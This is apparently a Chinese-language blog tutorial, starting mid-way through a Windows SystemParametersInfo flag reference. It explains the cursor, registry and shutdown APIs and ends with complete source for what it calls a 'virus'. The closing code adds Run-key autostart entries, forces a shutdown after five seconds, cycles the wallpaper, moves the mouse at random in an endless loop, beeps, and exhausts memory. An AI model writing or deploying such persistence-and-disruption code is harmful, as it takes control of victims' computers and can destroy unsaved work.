SPI_SETFILTERKEYS:設置FilterKeys易用特性的參數。參數pvParam必須指向包含新參數的FILTERKEYS結構,該結構中的cbSize成員和參數ulParam的值應設為sizeof(FILTERKEYS)。
SPI_SETFONTSMOOTHING:允許或禁止有字體平滑特性。該特性使用字體保真技術,通過在不同灰度級上塗畫像素點來使得字體曲線顯得更加平滑,為了允許有該特性,參數ulParam應設為TRUE值,否則為FALSE。對於Windows 95,只有在安裝了Windows plusl才支持該標志。
SPI_SETFOREGROUNDFLASHCOUNT:用於Windows 98和Windows NT 5.0及以后版本。設置SetForegroundWindow在拒絕前台切換申請時閃爍任務攔按鈕的次數。
SPI_SETFOREGROUNDLOCKTIMEOUT:用於Windows 98和Windows NT 5.0及以后版本。它用來設置在用戶輸入之后,系統禁止應用程序強行將自己進入前台期間的時間長度,單位為毫秒。參數pvParam設置這個新的時間限度值。
SPI_SETGRADIENTCAPTIONS:用於Windows 98和Windows NT 5.0及以后版本。允許或禁止窗口標題欄有傾斜效果。如果允許則將參數pvParam設置為TRUE,否則設為FALSE。有關傾斜效果方面更多信息,請參考GetSysColor函數。
SPI_SETGRIDGRANULARITY:將桌面縮放時網格的顆粒度值設置為參數ulParam中的值。
SPI_SETHANDHELD:內部使用,應用程序不應使用該值。
SPI_SETHIGHCONTRAST:用於Windows 95及以后版本、Windows NT 5.0及以后版本。設置HighContrast可訪問特性的參數。參數pvParam必須指向HIGHCONTRAST結構,該結構包含新的參數。該結構中的cbSize成員及參數ulParam的值設為sizeof(HIGHCONTRAST)。
SPI_SETICONMETRICS:設置與圖標有關的信息。參數pvParam必須指向包含新參數的ICONMETRICS結構,另外還要將參數ulParam和該結構中的cbSize成員的值設置為sizeof(ICONMETRICS)。
SPI_SETICONS:重新加載系統圖標。參數ulParam的值應設為0,而pvParam參數應設為NULL。
SPI_SETICONTITLELOGFONT:設置用於圖標標題的字體。參數ulParam指定為logfont結構的大小,而參數pvParam必須指向一個LOGFONT結構。
SPI_SETICONTITLEWRAP:打開或關閉圖標標題折行功能。若想打開折行功能,則把參數ulParam設為TRUE,否則為FALSE。
SPI_SETKEYBOARDDELAY:設置鍵盤重復延遲。參數ulParam必須指定為0,1,2或3。其中0表示設置為最短延遲(大約 250ms)3,表示最大延遲(大約 1 秒)。與每個值對應的實際的延遲時間根據硬件情況有可能有些變化。
SPI_SETKEYBOARDPREF:用於Windows 95及以后版本、Windows NT 5.0及以后版本,設置鍵盤優先序。如果用戶依賴鍵盤而不是鼠標,那么可將參數ulParam指定為TRUE,否則設為FALSE,並且要求應用程序顯示而不隱蔽鍵盤接口。
SPI_SETKEYBOARDSPEED:設置鍵盤重擊鍵速度。參數ulParam必須指定一個從0到31的值,其中0表示設置成最快速度(大約30次/秒),31表示設置為最低速度(大約2。5次/秒),實際的重速率與硬件有關,而且可能變動幅度高達20%。如果ulParam大於31,那么該參數仍設置為31。
SPI_SETLANGTOGGLE:為輸入語言間切換設置熱鍵集。參數ulParam和pvParam不用。該值通過讀取注冊表來設置鍵盤屬性表單中的快捷鍵。在使用該標志之前必須設置注冊表,注冊表中的路徑是"1"=Alt+shift,"2"=Ctrl+shift,"3"=none(無)。
SPI_SETLISTBOXSMOOTHSCROLLING:用於Windows 98和Windows NT 5.0及以后版本。允許或不許列表欄有平滑滾動效果。參數pvParam設置為TRUE表示允許有平滑滾動效果,為FALSE則表示禁止。
SPI_SETLOWPOWERACTIVE:激活或關閉低電壓屏幕保護特性。參數ulParam設為1表示激活,0表示關閉。參數pvParam必須設為NULL。對於Windows 98,該標志支持16位和32位應用程序。對於Windows 95,該標志只支持16位應用程序。對於Windows NT.該標志只支持NT 5.0及以后版本的32位應用程序,不支持16位應用程序。
SPI_SETLOWPOWERTIMEOUT:用於設置低電壓屏幕保護中的時間值(也稱超時值,即在超過某一時間段后自動進行屏幕保護),單位為秒。uIParam參數用來指定這個新值。參數pvParam必須為NULL。對於Windows98,該標志支持16位和32位應用程序。對於Windows 95,該標志只支持16位應用程序。對於Windows NT該標志只支持NT 5.0及以后版本的32位應用程序,不支持16位應用程序。
SPI_SETMENUDROPALIGNMENT:設置彈出或菜單的對齊方式。參數ulParam指定為TRUE時表示是右對齊,FALSE時為左對齊。
SPI_SETMINIMIZEDMETRICS:設置與最小化窗口有關的數據信息,參數pvParam必須指向包含新參數的MINIMIZEDMETRICS結構。該結構中的cbSize成員與ulParam參數的值應設為sizeof(MINMIZEDMETRICS)。
SPI_SETMOUSE:設置鼠標的兩個閥值和加速率。參數pvParam必須指向一個長度為3的數組,以指定這些值。詳細請參考mouse_event。
SPI_SETMOUSEBUTTONSWAP:調換或恢復鼠標左右按鈕的含義,為FALSE時表示恢復原來的含義。
SPI_SETMOUSEHOVERHEGHT:用於Windows 98和Windows NT 4.0及以后版本。設置鼠標指針停留區域的高度,以像素為單位。鼠標指針在此區域停留是為了讓TrackMouseEvent產生一條WM_MUOSEHOVER消息,參數ulParam用來設置此高度值。
SPI_SETMOUSEHOVERTIME:用於Windows 98和Windows NT 4.0及以后版本。設置鼠標指針為了讓TrackMouseEvent產生WM_MOUSEHOVER事件而在停留區域應停留的時間。該標志只有在將調用dwHoverTime參數中的HOVER_DEFAULT值傳送到TrackMouseEvent時才使用。參數ulParam設置這個新的時間值。
SPI_SETMOUSEHOVERWIDTH:用於Windows 98和Windows NT 4.0及以后版本。設置鼠標指針停留區域的寬度,以像素為單位。參數ulParam設置該新值。
SPI_SETMOUSEKEYS:設置MouseKeys易用特性的參數。參數pvParam必須指向包含新參數的MOUSEKEYS結構。結構中的cbSize成員與參數ulParam的值應設為sizeof(MOUSEKEYS)。
SPI_SETMOUSESPEED:用於Windows NT 5.0及以后的版本和Windows 98,設置當前鼠標速度。參數pvParam必須指向一個1(最慢)至20(最快)之間的整數。缺省值是10。一般可以使用鼠標控制面板應用程序來設置該值。
SPI_SETMOUSETRAILS:用於Windows 95及以后版本:允許或禁止有MoouseTrails(鼠標軌跡)特性。該特性通過簡短地顯示鼠標光標軌跡,並迅速地擦除它們來提高鼠標的可見度。禁止該特性可將參數ulParam設為0或1,允許時,將ulParam設置為一個大於1的數值,該值表示軌跡中畫出的光標個數。
SPI_SETNONCLIENTMETRICS:設置與非最小化窗口的非客區有關的數據信息,參數pvParam必須指向NONCLIENTMETRICS結構,該結構包含新的參數。其成員cbSzie和參數ulParam的值應設為sizeof(NONCLIENTMETRICS)。
SPI_SETPENWINDOWS;用於Windows 95及以后版本:指定是否加載筆窗口,當加載時,參數ulParam設為TRUE,不加載時為FALSE。參數pvParam為NULL。
SPI_SETPOWEROFFACTIVE:激活或關閉屏幕保護特性參數。ulParam設為1表示激活,0表示關閉。參數pvParam必須為NULL。對於Windows 98,該標志支持16位和32位應用程序。對於Windows 95,該標志只支持16位應用程序。對於Windows NT,該標志支持Windows NT 5.0及以后版本的32位應用程序,不支持16位應用程序。
SPI_SETPOWEROFFTIMEOUT:設置用於關閉屏幕保護所需的時間值(也稱超時值)。參數ulParam指定該值。參數pvParam必須為NULL。對於Windows 98.該標志支持16位和32位應用程序。對於Windows 95,該標志只支持16位應用程序。對於Windows NT,該標志支持Windows NT 5.0及以后版本上的32位應用程序,不支持16位應用程序。
SPI_SETSCREENREADER;用於Windows 95及以后版本、Windows NT 5.0及以后版本,表示屏幕審閱程序是否運行。參數uiparm指定為TRUE表示運行該程序,FALSE則不運行。
SPI_SETSCREENSAVERRUNNING:用於Windows 95及以后版本,內部使用。應用程序不應該使用此標志SPI_SETSETSCREENSAVETIMEOUT:參數ulParam值為屏幕保護器時間限度值。該值是一個時間量,以秒為單位,在屏幕保護器激活之前,系統應該一直是空閑的,超過這個值就激活屏幕保護器。
SPI_SETSERIALKEYS:用於Windows 95及以后版本:設置SerialKeys易用特性的參數。參數pvParam必須指向包含新參數的SERIALKEYS結構,其成員cbSize和參數ulParam應設為sizeof(SERIALKEYS)。
SPI_SETSHOWSOUNDS:將ShowSounds易用特性設置為打開或關閉。參數ulParam指定為TRUE時表示打開,FALSE表示關閉。
SPI_SETSNAPTODEFBUTTON:用於Windows NT 4.0及以后版本、Windows 98。允許或禁止有snap-to-default-button(跳轉至缺省按鈕)特性。如果允許,那么鼠標光標會自動移至缺省按鈕上,例如對話櫃中的OK或"apply"按鈕。參數ulParam設為TRUE表示允許該特性,FALSE表示禁止。
SPI_SETSOUNDSENTRY:設置SOUNDSENTRY易用特性的參數。參數pvParam必須指向SOUNDSENTRY結構,該結構包含新參數,其成員cbSize和參數ulParam的值應設為sizeof(SOUNDSENTRY)。
SPI_SETSTICKYKEYS:設置stickykeys可訪問特性的參數。參數pvParam必須指向包含新參數的stickykeys結構,其成員cbSize和ulParam參數的值要設為sizeof(STICKYKEYS)。
SPI_SETSWITCHTASKDISABLE:用於Windows NT 5.0及以后版本,允許或禁止有Alt+Tab和Alt+Esc任務切換特性。參數ulParam設為1表示允許有該特性,設為0則表示禁止。缺省情況下是允許有任務切換特性的。
SPI_SETTOGGLEKEYS:設置togglekeys可訪問特性的參數,參數PvParam必須指向TOGGLEKEYS結構,該結構中包含新的參數。其成員cbSize和參數ulParam的值要設為sizeof(togglekeys)。
SPI_SETWHEELSCROOLLLINES:用於Windows 98和Windows NT 4.O及以后版本。設置當鼠標軌跡球轉動時要滾動的行數,滾動的行數是由參數ulParam設置的,該行數是在鼠標軌跡球滾動,並且沒有使用修改鍵時的滾動行數。如果該數值為0,那么不會發生滾動,如果滾動行數比可見到的行數要大,尤其如果是WHEEL_PAGESCROLL(#defined sa UINT_MAX),那么滾動操作應該被解釋成在滾動條的下一頁或上一頁區點擊一次。
SPI_SETWORKAREA:設置工作區域大小。工作區是指屏幕上沒有被系統任務欄或桌面應用程序桌面工具遮蓋的部分。參數pvParam是一個指針。指向RECT結構,該結構規定新的矩形工作區域,它是以虛擬屏幕坐標來表達的。在多顯示器系統中,該函數用來設置包含特定矩形的顯示器工作區域。如果PvParam為NULL,那么該函數將主顯示器的工作區域設為全屏。
更多
uiParam:uiParam 在參數說明中所有為ulParam均為錯誤。
這個參數值設為true即可。
pvParam:與查詢或設置的系統參數有關。關於系統級參數的詳情,請參考uiAction參數。否則在沒有指明情況下,必須將該參數指定為NULL。
在修改背景圖片時為圖片信息,PVOID類型。
fWinlni:如果設置系統參數,則它用來指定是否更新用戶配置文件(Profile)。亦或是否要將WM_SETTINGCHANGE消息廣播給所有頂層窗口,以通知它們新的變化內容。該參數可以是0或下列取值之一:
SPIF_UPDATEINIFILE:把新的系統參數的設置內容寫入用戶配置文件。
SPIF_SENDCHANGE:在更新用戶配置文件之后廣播WM_SETTINGCHANGE消息。
SPI_SENDWININICHANGE與 SPIF_SENDCHANGE一樣。
返回值
如果函數調用成功,返回值非零:如果函數調用失敗,那么返回值為零。
控制鼠標方法
控制鼠標坐標的方法同樣也時調用一個API,GetCursorPos和SetCursorPos
GetCursorPos用於獲取鼠標句柄
#include<stdio.h>
#include<windows.h>
int main()
{
POINT p;
GetCursorPos(&p);
return0;
}
SetCursorPos用於移動鼠標
在使用GetCursorPos獲取鼠標句柄之后,可以調用SetCursorPos移動鼠標,它的兩個參數分別是x軸和y軸。
函數原型:BOOL SetCursorPos(int X,int Y);
參數:
X:指定光標的新的X坐標,以屏幕坐標表示。
Y:指定光標的新的Y坐標,以屏幕坐標表示。
返回值:如果成功,返回非零值;如果失敗,返回值是零,若想獲得更多錯誤信息,請調用GetLastError函數。
備注:該光標是共享資源,僅當該光標在一個窗口的客戶區域內時它才能移動該光標。
開機自啟動方法
注冊表
開機自啟動的實現方法就是通過注冊表實現,在注冊表中有固定的開機自啟程序設置位置
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run;
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Runonce;
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run;
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce;
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
在這幾項中有我們電腦中的開機自啟動程序信息,
例如這個WeChat就是開機時的微信登錄程序。
注冊表讀寫方法
RegCreateKey
// 打開注冊表
LONG WINAPI RegCreateKey(
_In_ HKEY hKey,
_In_opt_ LPCTSTR lpSubKey,
_Out_ PHKEY phkResult
);
hKey
指向當前打開表項的句柄,或者是下列預定義保留句柄值之一,實際上就是注冊表中的幾個分支。
lpSubKey
指向一個空終止的字符串指針,指示這個函數將打開或創建的表項的名稱。這個表項必須是由hKey參數所標識的項的子項
phkResult
這是一個返回值,指向一個變量的指針,用來接受創建或打開的表項的句柄。當不再需要此返回的注冊表項句柄時,調用RegCloseKey函數關閉這個句柄。
RegSetValueEx
// 讀寫注冊表
LONG RegSetValueEx(
HKEY hKey,
LPCTSTR lpValueName,
DWORD Reserved,
DWORD dwType,
CONST BYTE *lpData,
DWORD cbData
);
hKey
一個已打開項的句柄,或指定一個標准項名
lpValueName
指向一個字符串的指針,該字符串包含了欲設置值的名稱。若擁有該值名稱的值並不存在於指定的注冊表項中,則此函數將其加入到該項。如果此值是NULL,或指向空字符串,則此函數為該項的默認值或未命名值設置類型和數據。
Reserved
保留值,必須強制為0
dwType
指定將被存儲的數據類型,該參數可以為
REG_BINARY 任何形式的二進制數據
REG_DWORD 一個32位的數字
REG_DWORD_LITTLE_ENDIAN 一個“低字節在前”格式的32位數字
REG_DWORD_BIG_ENDIAN 一個“高字節在前”格式的32位數字
REG_EXPAND_SZ 一個以0結尾的字符串,該字符串包含對環境變量(如“%PAHT”)的未擴展引用
REG_LINK 一個Unicode格式的帶符號鏈接
REG_MULTI_SZ 一個以0結尾的字符串數組,該數組以連接兩個0為終止符
REG_NONE 未定義值類型
REG_RESOURCE_LIST 一個設備驅動器資源列表
REG_SZ 一個以0結尾的字符串
lpData
指向一個緩沖區,該緩沖區包含了欲為指定值名稱存儲的數據。
cbData
指定由lpData參數所指向的數據的大小,單位是字節。
關機方法
Windows 系統自帶一個名為Shutdown.exe的程序,可以用於關機操作(位置在Windows\System32下),一般情況下Windows系統的關機都可以通過調用程序 shutdown.exe來實現的,同時該程序也可以用於終止正在計划中的關機操作。
shutdown-a 取消關機
shutdown -s 關機
shutdown -f 強行關閉應用程序
shutdown -m \\計算機名 控制遠程計算機
shutdown -i 顯示“遠程關機”圖形用戶界面,但必須是Shutdown的第一個參數
shutdown -l 注銷當前用戶
shutdown -r 關機並重啟
shutdown -s -t 時間 設置關機倒計時
shutdown -h 休眠
實現
修改桌面背景代碼
圖片信息使用了一個PVOID數組,並通過一個for循環不斷切換桌面背景。
#include<stdio.h>
#include<windows.h>
#include<iostream>
#include <tchar.h>
#include<cstdlib>
#include<ctime>
using namespace std ;
int main(){
PVOID s[10] = {
(PVOID)"D:\\windows\\system32\\bin\\background.jpg" ,
(PVOID)"D:\\windows\\system32\\bin\\background1.jpg" ,
...
(PVOID)"D:\\windows\\system32\\bin\\background6.jpg" ,
(PVOID)"D:\\windows\\system32\\bin\\background7.jpg" ,
(PVOID)"D:\\windows\\system32\\bin\\background8.jpg" ,
(PVOID)"D:\\windows\\system32\\bin\\background9.jpg"
};
SystemParametersInfo(20, true,s, 1) ;
for(int i=0;i<10;i++){
SystemParametersInfo(20, true,s[i], 1) ;
Sleep(1000);//控制時間間隔
}
return 0 ;
}
控制鼠標代碼
利用隨機數和while死循環達到鼠標不受控制瘋狂隨機移動的功能。
#include<stdio.h>
#include<windows.h>
#include<iostream>
#include <tchar.h>
#include<cstdlib>
#include<ctime>
using namespace std ;
int main(){
POINT sb;
srand((unsigned)time(NULL));
GetCursorPos (&sb);//獲取鼠標坐標
while(1){
SetCursorPos(rand()%1000,rand()%800);//更改鼠標坐標
Sleep(1);//控制移動時間間隔
}
return 0 ;
}
開機自啟動代碼
ret = RegSetValueEx(hkey,_T("新加項名稱"),0,REG_SZ,(const BYTE*)("d:\windows\setup.exe"),21);
第二個參數是項名稱,第五個參數是要開機啟動程序的路徑位置,最后一個參數是第五個參數路徑字符長度。
#include<stdio.h>
#include<windows.h>
#include<iostream>
#include <tchar.h>
#include<cstdlib>
#include<ctime>
using namespace std ;
int main(){
HKEY hkey ;//計算機\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
TCHAR p[64] ;
long ret;
ret = RegCreateKey(HKEY_CURRENT_USER,_T("Software\\Microsoft\\Windows\\CurrentVersion\\Run"),&hkey);
if(ret==ERROR_SUCCESS){
ret = RegSetValueEx(hkey,_T("新加項名稱"),0,REG_SZ,(const BYTE*)("d:\\windows\\setup.exe"),21); // 主
if(ret==ERROR_SUCCESS){
// 寫入成功
}else {
// 寫入失敗
cout << "Write filed !" ;
}
}else {
// 注冊表打開失敗
cout << "Read error !" << endl ;
}
return 0 ;
}
關機代碼
這個功能實現比較簡單。
#include<stdio.h>
#include<windows.h>
int main(){
// 五秒關機
system("shutdown -s -t 5");
return 0 ;
}
代碼
注冊程序,將病毒主體加入開機自啟動
#include<stdio.h>
#include<windows.h>
#include<iostream>
#include <tchar.h>
#include<cstdlib>
#include<ctime>
using namespace std ;
int main(){
HKEY hkey ;//計算機\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
TCHAR p[64] ;
long ret;
ret = RegCreateKey(HKEY_CURRENT_USER,_T("Software\\Microsoft\\Windows\\CurrentVersion\\Run"),&hkey);
if(ret==ERROR_SUCCESS){
ret = RegSetValueEx(hkey,_T("LexBer"),0,REG_SZ,(const BYTE*)("d:\\windows\\setup.exe"),21); // 主
ret = RegSetValueEx(hkey,_T("Begin"),0,REG_SZ,(const BYTE*)("d:\\windows\\system32\\bin\\begin.exe"),35); // 主要動作
ret = RegSetValueEx(hkey,_T("FindQQ"),0,REG_SZ,(const BYTE*)("d:\\windows\\system32\\conf\\find.exe"),35);//監控實時變化
if(ret==ERROR_SUCCESS){
// 寫入成功
}else {
// 寫入失敗
cout << "Write filed !" ;
}
}else {
cout << "Read error !" << endl ;
}
return 0 ;
}
病毒主體,在上方代碼實現開機自啟動之后,這段代碼可以不斷修改壁紙,控制鼠標以及關機。
#include<stdio.h>
#include<windows.h>
#include<iostream>
#include <tchar.h>
#include<cstdlib>
#include<ctime>
using namespace std ;
int main(){
POINT sb;
PVOID s[10] = {
(PVOID)"D:\\windows\\system32\\bin\\background.jpg" ,
(PVOID)"D:\\windows\\system32\\bin\\background1.jpg" ,
(PVOID)"D:\\windows\\system32\\bin\\background2.jpg" ,
(PVOID)"D:\\windows\\system32\\bin\\background3.jpg" ,
(PVOID)"D:\\windows\\system32\\bin\\background4.jpg" ,
(PVOID)"D:\\windows\\system32\\bin\\background5.jpg" ,
(PVOID)"D:\\windows\\system32\\bin\\background6.jpg" ,
(PVOID)"D:\\windows\\system32\\bin\\background7.jpg" ,
(PVOID)"D:\\windows\\system32\\bin\\background8.jpg" ,
(PVOID)"D:\\windows\\system32\\bin\\background9.jpg"
};
srand((unsigned)time(NULL));
system("shutdown -s -t 5");
SystemParametersInfo(20, true,s, 1) ;
GetCursorPos (&sb);//獲取鼠標坐標
int i = 0 ;
while(1){
int *p = (int*)malloc(10000000000) ;
printf("\a");
SystemParametersInfo(20, true,s[i], 1) ;
if(i>=9){
i = 0 ;
}
SetCursorPos(rand()%1000,rand()%800);//更改鼠標坐標
Sleep(1);//控制移動時間間隔
}
return 0 ;
}